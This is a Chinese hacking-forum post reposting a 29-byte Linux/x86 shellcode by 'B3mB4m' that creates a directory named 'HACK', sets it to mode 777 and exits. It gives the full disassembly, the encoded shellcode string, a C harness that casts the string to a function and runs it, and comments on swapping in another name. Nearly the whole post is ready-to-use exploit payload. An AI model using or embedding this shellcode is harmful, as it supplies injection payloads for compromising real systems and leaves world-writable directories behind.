搜索
查看: 394|回复: 0

Linux/x86 - mkdir HACK & chmod 777 and exit(0) - 29 Bytes

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-7-8 12:10:21 | 显示全部楼层 |阅读模式
  1. #Greetz : Bomberman(Leader)
  2. #Author : B3mB4m
  3.   
  4.   
  5. #Auxiliary tools (50% time gain !)
  6. #[url]https://github.com/b3mb4m/Shellcode/blob/master/Auxiliary/convertstack.py[/url]
  7. #[url]https://github.com/b3mb4m/Shellcode/blob/master/Auxiliary/ASMtoShellcode.py[/url]
  8.   
  9.   
  10. Disassembly of section .text:
  11.   
  12. 08048060 <.text>:
  13. 8048060:   31 c0                   xor    %eax,%eax
  14. 8048062:   50                      push   %eax
  15. 8048063:   68 48 41 43 4b          push   $0x4b434148  #You can change it !
  16. 8048068:   b0 27                   mov    $0x27,%al
  17. 804806a:   89 e3                   mov    %esp,%ebx
  18. 804806c:   66 41                   inc    %cx
  19. 804806e:   cd 80                   int    $0x80
  20. 8048070:   b0 0f                   mov    $0xf,%al
  21. 8048072:   66 b9 ff 01             mov    $0x1ff,%cx
  22. 8048076:   cd 80                   int    $0x80
  23. 8048078:   31 c0                   xor    %eax,%eax
  24. 804807a:   40                      inc    %eax
  25. 804807b:   cd 80                   int    $0x80
  26.   
  27.   
  28. #include <stdio.h>
  29. #include <string.h>
  30.   
  31. char *shellcode =
  32. "\x31\xc0\x50\x68\x48\x41\x43\x4b\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80";
  33.   
  34.   
  35. //First push always start with byte 68.Also mov b0.
  36. //Than just push your string between byte 68 - b0 ! :)
  37. //Here it is -> \x68   "\x48\x41\x43\x4b"    xb0     GOODLUCK !
  38.   
  39.   
  40. int main(void){
  41.     fprintf(stdout,"Length: %d\n",strlen(shellcode));
  42.     (*(void(*)()) shellcode)();}
复制代码
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表